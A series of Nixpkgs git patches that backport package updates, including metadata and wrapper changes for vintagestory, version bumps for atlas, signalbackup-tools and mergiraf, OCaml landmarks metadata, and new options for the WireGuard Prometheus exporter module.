@@ -103,5 +103,6 @@ stdenv.mkDerivation rec {
       gigglesquid
       niraethm
     ];
+    mainProgram = "vintagestory";
   };
 }

From 11239e80b58f7dc97bd099b1d1008d0ba194c50c Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:10:51 +0200
Subject: [PATCH 1864/4511] vintagestory: set `meta.platforms`

(cherry picked from commit 82542aa6ba475baa738275b74c22084d151c7c3a)
---
 pkgs/by-name/vi/vintagestory/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 3e2ad5e408e8..6b0710ee4ffe 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -98,6 +98,7 @@ stdenv.mkDerivation rec {
     homepage = "https://www.vintagestory.at/";
     license = lib.licenses.unfree;
     sourceProvenance = [ lib.sourceTypes.binaryBytecode ];
+    platforms = lib.platforms.linux;
     maintainers = with lib.maintainers; [
       artturin
       gigglesquid

From 1fdbd87f334f5d6671f7072232ddf3ac132a47a4 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:32:33 +0200
Subject: [PATCH 1865/4511] vintagestory: set mesa_glthread=true by default

(cherry picked from commit b01cce1e2740dd316950e4d6b0841815edd088b8)
---
 pkgs/by-name/vi/vintagestory/package.nix | 27 ++++++++++++------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 6b0710ee4ffe..4e4d4356c237 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -77,21 +77,22 @@ stdenv.mkDerivation rec {
     runHook postInstall
   '';
 
-  preFixup =
-    ''
-      makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory \
-        --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
-        --add-flags $out/share/vintagestory/Vintagestory.dll
+  preFixup = ''
+    makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory \
+      --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
+      --set-default mesa_glthread true \
+      --add-flags $out/share/vintagestory/Vintagestory.dll
 
-      makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory-server \
-        --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
-        --add-flags $out/share/vintagestory/VintagestoryServer.dll
+    makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory-server \
+      --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
+      --set-default mesa_glthread true \
+      --add-flags $out/share/vintagestory/VintagestoryServer.dll
 
-      find "$out/share/vintagestory/assets/" -not -path "*/fonts/*" -regex ".*/.*[A-Z].*" | while read -r file; do
-        local filename="$(basename -- "$file")"
-        ln -sf "$filename" "''${file%/*}"/"''${filename,,}"
-      done
-    '';
+    find "$out/share/vintagestory/assets/" -not -path "*/fonts/*" -regex ".*/.*[A-Z].*" | while read -r file; do
+      local filename="$(basename -- "$file")"
+      ln -sf "$filename" "''${file%/*}"/"''${filename,,}"
+    done
+  '';
 
   meta = {
     description = "In-development indie sandbox game about innovation and exploration";

From 5846e486bc2ce4aa09cc5d37fe31b933c55651e2 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:07:01 +0200
Subject: [PATCH 1866/4511] vintagestory: add dtomvan as maintainer

(cherry picked from commit 0586368e18d2ff9f9496f821dcf578bd4f06a237)
---
 pkgs/by-name/vi/vintagestory/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 4e4d4356c237..a875aaa752b1 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -104,6 +104,7 @@ stdenv.mkDerivation rec {
       artturin
       gigglesquid
       niraethm
+      dtomvan
     ];
     mainProgram = "vintagestory";
   };

From 7ff1ef615e2aec417f08f89c8278af9be78fd397 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Mon, 9 Jun 2025 02:55:46 +0200
Subject: [PATCH 1867/4511] vintagestory: 1.20.11 -> 1.20.12

(cherry picked from commit c09adca78b0af13a343263d577b54e0525a4c07f)
---
 pkgs/by-name/vi/vintagestory/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index a875aaa752b1..833c0d51e67c 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -21,11 +21,11 @@
 
 stdenv.mkDerivation rec {
   pname = "vintagestory";
-  version = "1.20.11";
+  version = "1.20.12";
 
   src = fetchurl {
     url = "https://cdn.vintagestory.at/gamefiles/stable/vs_client_linux-x64_${version}.tar.gz";
-    hash = "sha256-IOreg6j/jLhOK8jm2AgSnYQrql5R6QxsshvPs8OUcQA=";
+    hash = "sha256-h6YXEZoVVV9IuKkgtK9Z3NTvJogVNHmXdAcKxwfvqcE=";
   };
 
   nativeBuildInputs = [

From 1c000f80ac8ec320b0228b26a132f21f8a5c8967 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Wed, 25 Jun 2025 20:34:36 +0200
Subject: [PATCH 1868/4511] vintagestory: remove unused `buildInputs`

(cherry picked from commit 63cc2e2a3638c907e14418eb536c8a4d51caec0c)
---
 pkgs/by-name/vi/vintagestory/package.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 833c0d51e67c..928734a145f9 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -33,8 +33,6 @@ stdenv.mkDerivation rec {
     copyDesktopItems
   ];
 
-  buildInputs = [ dotnet-runtime_7 ];
-
   runtimeLibs = lib.makeLibraryPath (
     [
       gtk2

From 7cbff5ad2d44d89419833406d18a761e3af0af79 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 03:19:47 +0000
Subject: [PATCH 1869/4511] atlas: 0.33.0 -> 0.33.1

(cherry picked from commit 568b9ae4f7199e9779a7156894bac96a6e0d55d6)
---
 pkgs/by-name/at/atlas/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/at/atlas/package.nix b/pkgs/by-name/at/atlas/package.nix
index 2f25507a51a3..7b51a249213f 100644
--- a/pkgs/by-name/at/atlas/package.nix
+++ b/pkgs/by-name/at/atlas/package.nix
@@ -8,13 +8,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "atlas";
-  version = "0.33.0";
+  version = "0.33.1";
 
   src = fetchFromGitHub {
     owner = "ariga";
     repo = "atlas";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-uMINAdoHYRVaZ7QdxZ0G03cOTRe6ObnIuxo3ic+tMnE=";
+    hash = "sha256-Io7FnPxvr3XIj+Tbf1yVxjTnqoRzQZnaVlImcwBjwXE=";
   };
 
   modRoot = "cmd/atlas";

From 0792abad682e84b51d7ca4757cbacd63dd1ef25d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 3 Jun 2025 08:23:22 +0000
Subject: [PATCH 1870/4511] atlas: 0.33.1 -> 0.34.0

(cherry picked from commit e87a500d1f223da9b51e149acbdf11f8ee0bb7b7)
---
 pkgs/by-name/at/atlas/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/at/atlas/package.nix b/pkgs/by-name/at/atlas/package.nix
index 7b51a249213f..9f8751f82522 100644
--- a/pkgs/by-name/at/atlas/package.nix
+++ b/pkgs/by-name/at/atlas/package.nix
@@ -8,13 +8,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "atlas";
-  version = "0.33.1";
+  version = "0.34.0";
 
   src = fetchFromGitHub {
     owner = "ariga";
     repo = "atlas";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-Io7FnPxvr3XIj+Tbf1yVxjTnqoRzQZnaVlImcwBjwXE=";
+    hash = "sha256-7s03YrZw7J2LRCHibMqzBBtVUBSPVEf+TMqtKoWSkkM=";
   };
 
   modRoot = "cmd/atlas";

From 800538f55e18284114abaf4536333fdffb06348e Mon Sep 17 00:00:00 2001
From: Aaron Jheng <wentworth@outlook.com>
Date: Sun, 29 Jun 2025 07:26:54 +0800
Subject: [PATCH 1871/4511] atlas: 0.34.0 -> 0.35.0

(cherry picked from commit 4471a6bbc2797beb1f1999ceee61b286f2385609)
---
 pkgs/by-name/at/atlas/package.nix | 10 +++++-----
 pkgs/top-level/all-packages.nix   |  4 ----
 2 files changed, 5 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/at/atlas/package.nix b/pkgs/by-name/at/atlas/package.nix
index 9f8751f82522..5572cb5167d8 100644
--- a/pkgs/by-name/at/atlas/package.nix
+++ b/pkgs/by-name/at/atlas/package.nix
@@ -8,19 +8,19 @@
 
 buildGoModule (finalAttrs: {
   pname = "atlas";
-  version = "0.34.0";
+  version = "0.35.0";
 
   src = fetchFromGitHub {
     owner = "ariga";
     repo = "atlas";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-7s03YrZw7J2LRCHibMqzBBtVUBSPVEf+TMqtKoWSkkM=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-USA3PiZcOF39LK45Xu0Oq/GJi3URMxJpBrUXxIsEkCY=";
   };
 
   modRoot = "cmd/atlas";
 
   proxyVendor = true;
-  vendorHash = "sha256-K94zOisolCplE/cFrWmv4/MWl5DD27lRekPTl+o4Jwk=";
+  vendorHash = "sha256-G78KpERRAP4lVsy3ur2ejT6jA6K5T257FHLb7afC/7c=";
 
   nativeBuildInputs = [ installShellFiles ];
 
@@ -46,7 +46,7 @@ buildGoModule (finalAttrs: {
   };
 
   meta = {
-    description = "Modern tool for managing database schemas";
+    description = "Manage your database schema as code";
     homepage = "https://atlasgo.io/";
     changelog = "https://github.com/ariga/atlas/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.asl20;
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 6a8250e6c635..3b7f21cc5016 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -1898,10 +1898,6 @@ with pkgs;
 
   asmrepl = callPackage ../development/interpreters/asmrepl { };
 
-  atlas = callPackage ../by-name/at/atlas/package.nix {
-    buildGoModule = buildGo123Module;
-  };
-
   avahi = callPackage ../development/libraries/avahi { };
 
   avahi-compat = callPackage ../development/libraries/avahi {

From f409aeb9975e7b401330d68600b2926147c57ac5 Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Tue, 13 May 2025 12:36:16 -0700
Subject: [PATCH 1872/4511] signalbackup-tools: 20250511-1 -> 20250513-1

Diff: https://github.com/bepaald/signalbackup-tools/compare/20250511-1...20250513-1
(cherry picked from commit 487e1c70dd24878bdff277ad386d84d1e95d7bde)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 8ace7f7c196b..763431473f29 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250511-1";
+  version = "20250513-1";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-9JrSXfq6GF4fa7r15OY2M3aqXrvuUQ3UzVbuiViQZsI=";
+    hash = "sha256-JUMAA7B+2yJlkAd3JoJgEk8N73FzmbJFeMbrEx/BiVg=";
   };
 
   nativeBuildInputs =

From 9037511a76e9e9a83f6cf65ca9814d05bb3158b2 Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Mon, 19 May 2025 10:57:34 -0700
Subject: [PATCH 1873/4511] signalbackup-tools: 20250513-1 -> 20250519

Diff: https://github.com/bepaald/signalbackup-tools/compare/20250513-1...20250519
(cherry picked from commit 4fe59caf7faeb3607a4e1fa557a3415167f86d7f)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 763431473f29..02627f9e0241 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250513-1";
+  version = "20250519";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-JUMAA7B+2yJlkAd3JoJgEk8N73FzmbJFeMbrEx/BiVg=";
+    hash = "sha256-4h6eYP7Lvagm0GmkwtK1CNa/FaaWj0A78Ralevjmj5I=";
   };
 
   nativeBuildInputs =

From a560106a704d0916e8493a7962c169a1a9b90369 Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Thu, 22 May 2025 15:05:35 -0700
Subject: [PATCH 1874/4511] signalbackup-tools: 20250519 -> 20250522

Diff: https://github.com/bepaald/signalbackup-tools/compare/20250519...20250522
(cherry picked from commit 56f42e5df5b370d814a8ee9b5ed501a17014e444)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 02627f9e0241..67408a76f914 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250519";
+  version = "20250522";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-4h6eYP7Lvagm0GmkwtK1CNa/FaaWj0A78Ralevjmj5I=";
+    hash = "sha256-gfwlFvLoOPqL4GfV+Xv2m+afsfXjWR1gumn9VHp3etU=";
   };
 
   nativeBuildInputs =

From aaaa999755095aaeab05c9f13a16e5b6d1a83ac3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 12:59:12 +0000
Subject: [PATCH 1875/4511] signalbackup-tools: 20250522 -> 20250529

(cherry picked from commit 663deef3172bbe86becfdaceb9662bb983d0dbe0)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 67408a76f914..36724a0f8983 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250522";
+  version = "20250529";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-gfwlFvLoOPqL4GfV+Xv2m+afsfXjWR1gumn9VHp3etU=";
+    hash = "sha256-7TUyH2J4DFOAM1HWjWK4l4Dta0/aANhVUBNEbNF1G14=";
   };
 
   nativeBuildInputs =

From d7960b3f1bee89c6bf5772cc1a4585380a3803e5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 9 Jun 2025 04:17:43 +0000
Subject: [PATCH 1876/4511] signalbackup-tools: 20250529 -> 20250606

(cherry picked from commit 0017388ad21097b6db23f812f008bddf9d3b0d47)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 36724a0f8983..3ad04d4ae601 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250529";
+  version = "20250606";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-7TUyH2J4DFOAM1HWjWK4l4Dta0/aANhVUBNEbNF1G14=";
+    hash = "sha256-UGSto0RbC+ZTXgcT+F5UEmRYg79jGyYJaWA4m5ulB+Y=";
   };
 
   nativeBuildInputs =

From 2a18f74142bba9c3fc79fb84a838d9489a7dd9df Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 05:08:11 +0000
Subject: [PATCH 1877/4511] signalbackup-tools: 20250606 -> 20250617

(cherry picked from commit ee735573314a855ee3abb38b5cd388b6adeaf245)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 3ad04d4ae601..8289a3718895 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250606";
+  version = "20250617";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-UGSto0RbC+ZTXgcT+F5UEmRYg79jGyYJaWA4m5ulB+Y=";
+    hash = "sha256-sX/JM8d0kex09OT8n4IF26+bSPwvTjarqoiRTknA2Og=";
   };
 
   nativeBuildInputs =

From e5bcf8ba0a44d9cc359c7719ed32e4f9481cf7db Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Sun, 22 Jun 2025 14:15:05 -0700
Subject: [PATCH 1878/4511] signalbackup-tools: 20250617 -> 20250622-1

Diff: https://github.com/bepaald/signalbackup-tools/compare/20250617...20250622-1
(cherry picked from commit f4b295d7e0517cb5981b3d894d433b5d8c0123a3)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 8289a3718895..5c7f0142bb15 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250617";
+  version = "20250622-1";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-sX/JM8d0kex09OT8n4IF26+bSPwvTjarqoiRTknA2Og=";
+    hash = "sha256-QLlnIrlWGbPPD2ZgmvzX28UkVSQHcEUoL/XmajgFs6o=";
   };
 
   nativeBuildInputs =

From 70d7b8a086710844a78a8d1499e6c0ebb384387e Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Thu, 26 Jun 2025 11:47:35 -0700
Subject: [PATCH 1879/4511] signalbackup-tools: 20250622-1 -> 20250626

Diff: https://github.com/bepaald/signalbackup-tools/compare/20250622-1...20250626
(cherry picked from commit ff28f7962a268f3df904c7339f99a8cd2e7a0e3c)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 5c7f0142bb15..42f13ccc81b0 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250622-1";
+  version = "20250626";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-QLlnIrlWGbPPD2ZgmvzX28UkVSQHcEUoL/XmajgFs6o=";
+    hash = "sha256-RZLe0d/zpWu8x/4qVZBY3zatb9bc5kfKy7L0EdK02uw=";
   };
 
   nativeBuildInputs =

From a081b6dff85bd1a814a59bebde6db6bc15ecf285 Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Mon, 30 Jun 2025 11:05:07 -0700
Subject: [PATCH 1880/4511] signalbackup-tools: 20250626 -> 20250630-2

Diff: https://github.com/bepaald/signalbackup-tools/compare/20250626...20250630-2
(cherry picked from commit 7db138cd3f949a141b94a081066e1f4d6860d552)
---
 pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 42f13ccc81b0..8b7a09eee585 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation rec {
   pname = "signalbackup-tools";
-  version = "20250626";
+  version = "20250630-2";
 
   src = fetchFromGitHub {
     owner = "bepaald";
     repo = "signalbackup-tools";
     rev = version;
-    hash = "sha256-RZLe0d/zpWu8x/4qVZBY3zatb9bc5kfKy7L0EdK02uw=";
+    hash = "sha256-/zbBiVWqHoKG2h6ExIDIP6ZQH1F8LByZYWbx8wysGDw=";
   };
 
   nativeBuildInputs =

From 263e3cc60619d9e2062e035b7bbba2b75beff110 Mon Sep 17 00:00:00 2001
From: Mutsuha Asada <me@momee.mt>
Date: Mon, 9 Jun 2025 08:28:01 +0900
Subject: [PATCH 1881/4511] ocamlPackages.{landmarks, landmarks-ppx}: 1.4 ->
 1.5 Changelog: https://github.com/LexiFi/landmarks/releases/tag/v1.5 Diff:
 https://github.com/LexiFi/landmarks/compare/v1.4...v1.5

(cherry picked from commit 60a9e7cc580666542f005396b5e2ab310f32339f)
---
 pkgs/development/ocaml-modules/landmarks/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/ocaml-modules/landmarks/default.nix b/pkgs/development/ocaml-modules/landmarks/default.nix
index 3a39592a9ecf..b1b8e2911e71 100644
--- a/pkgs/development/ocaml-modules/landmarks/default.nix
+++ b/pkgs/development/ocaml-modules/landmarks/default.nix
@@ -5,16 +5,16 @@
   ocaml,
 }:
 
-buildDunePackage {
+buildDunePackage rec {
   pname = "landmarks";
-  version = "1.4";
+  version = "1.5";
   minimalOCamlVersion = "4.08";
 
   src = fetchFromGitHub {
     owner = "LexiFi";
     repo = "landmarks";
-    rev = "b0c753cd2a4c4aa00dffdd3be187d8ed592fabf7";
-    hash = "sha256-Wpr76JURUFrj7v39rdM/2Lr7boa7nL/bnPEz1vMrmQo";
+    tag = "v${version}";
+    hash = "sha256-eIq02D19OzDOrMDHE1Ecrgk+T6s9vj2X6B2HY+z+K8Q=";
   };
 
   doCheck = lib.versionAtLeast ocaml.version "4.08" && lib.versionOlder ocaml.version "5.0";

From 7167b16f4c129abe303a75cd354c29b30aaa6300 Mon Sep 17 00:00:00 2001
From: Mutsuha Asada <me@momee.mt>
Date: Mon, 9 Jun 2025 08:34:39 +0900
Subject: [PATCH 1882/4511] ocamlPackages.{landmarks, landmarks-ppx}:
 modernized derivation - Removed with lib; - Added meta.homepage,
 meta.longDescription, and meta.changelog

(cherry picked from commit 95612d14de84651a677ebde0708f92550e68557e)
---
 .../ocaml-modules/landmarks-ppx/default.nix        |  4 ++++
 .../ocaml-modules/landmarks/default.nix            | 14 +++++++++++---
 2 files changed, 15 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/ocaml-modules/landmarks-ppx/default.nix b/pkgs/development/ocaml-modules/landmarks-ppx/default.nix
index 8025fb90303c..f6676696bb9a 100644
--- a/pkgs/development/ocaml-modules/landmarks-ppx/default.nix
+++ b/pkgs/development/ocaml-modules/landmarks-ppx/default.nix
@@ -19,5 +19,9 @@ buildDunePackage {
 
   meta = landmarks.meta // {
     description = "Preprocessor instrumenting code using the landmarks library";
+    longDescription = ''
+      Automatically or semi-automatically instrument your code using
+      landmarks library.
+    '';
   };
 }
diff --git a/pkgs/development/ocaml-modules/landmarks/default.nix b/pkgs/development/ocaml-modules/landmarks/default.nix
index b1b8e2911e71..40375794fd0c 100644
--- a/pkgs/development/ocaml-modules/landmarks/default.nix
+++ b/pkgs/development/ocaml-modules/landmarks/default.nix
@@ -19,9 +19,17 @@ buildDunePackage rec {
 
   doCheck = lib.versionAtLeast ocaml.version "4.08" && lib.versionOlder ocaml.version "5.0";
 
-  meta = with lib; {
+  meta = {
+    inherit (src.meta) homepage;
     description = "Simple Profiling Library for OCaml";
-    maintainers = [ maintainers.kenran ];
-    license = licenses.mit;
+    longDescription = ''
+      Landmarks is a simple profiling library for OCaml. It provides
+      primitives to measure time spent in portion of instrumented code. The
+      instrumentation of the code may either done by hand, automatically or
+      semi-automatically using the ppx pepreprocessor (see landmarks-ppx package).
+    '';
+    changelog = "https://raw.githubusercontent.com/LexiFi/landmarks/refs/tags/v${version}/CHANGES.md";
+    maintainers = with lib.maintainers; [ kenran ];
+    license = lib.licenses.mit;
   };
 }

From 2bac01d3cd5565014a42123ec3bc9a32de3c56fe Mon Sep 17 00:00:00 2001
From: Felix Bargfeldt <41747605+Defelo@users.noreply.github.com>
Date: Tue, 1 Jul 2025 11:28:34 +0200
Subject: [PATCH 1883/4511] mergiraf: 0.10.0 -> 0.11.0 (#421279)

Changelog: https://codeberg.org/mergiraf/mergiraf/releases/tag/v0.11.0
Diff: https://codeberg.org/mergiraf/mergiraf/compare/v0.10.0...v0.11.0
(cherry picked from commit 2f067f99de6b1ac2b2975ea8d4b2094666164c61)
---
 pkgs/by-name/me/mergiraf/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index 005043b4e71a..a1abc3ab407d 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -11,18 +11,18 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mergiraf";
-  version = "0.10.0";
+  version = "0.11.0";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "mergiraf";
     repo = "mergiraf";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-wnXOl7KzSvvxQP4CebOJ+fEIn7fQDKTmO2PkGMRA4t4=";
+    hash = "sha256-nzWRMCIeZ1RmZO4v5UqX1JrbN1UjBHkl/bYaERCzfew=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-jShWfd3m9g6YlUFLOzlMPFtuXAAfjh+sBujCJ9F2Uj0=";
+  cargoHash = "sha256-9OjcEmed9nLM/fp6Qk/Gh9hTVnn5cqCxTUpAJUkI4/M=";
 
   nativeCheckInputs = [ git ];
 

From e20c1021e30e3606664f0c22fbfd97cb2a5495ce Mon Sep 17 00:00:00 2001
From: HE7086 <me@heyi7086.com>
Date: Mon, 30 Jun 2025 20:34:59 +0200
Subject: [PATCH 1884/4511] nixos/prometheus-wireguard-exporter: add support
 for new flags

(cherry picked from commit ab2dc5c3f959b945b7d8dff5b59f69b58e06c18d)
---
 .../prometheus/exporters/wireguard.nix        | 28 +++++++++++++++++--
 1 file changed, 25 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix b/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix
index f091aac2347d..518e5d35ece5 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/wireguard.nix
@@ -15,16 +15,18 @@ let
     mkEnableOption
     optionalString
     escapeShellArg
+    concatStringsSep
+    concatMapStringsSep
     ;
 in
 {
   port = 9586;
   imports = [
     (mkRenamedOptionModule [ "addr" ] [ "listenAddress" ])
-    ({
+    {
       options.warnings = options.warnings;
       options.assertions = options.assertions;
-    })
+    }
   ];
   extraOpts = {
     verbose = mkEnableOption "verbose logging mode for prometheus-wireguard-exporter";
@@ -44,6 +46,15 @@ in
       '';
     };
 
+    interfaces = mkOption {
+      type = types.listOf types.str;
+      default = [ ];
+      description = ''
+        Specifies the interface(s) passed to the wg show <interface> dump parameter.
+        By default all interfaces are used.
+      '';
+    };
+
     singleSubnetPerField = mkOption {
       type = types.bool;
       default = false;
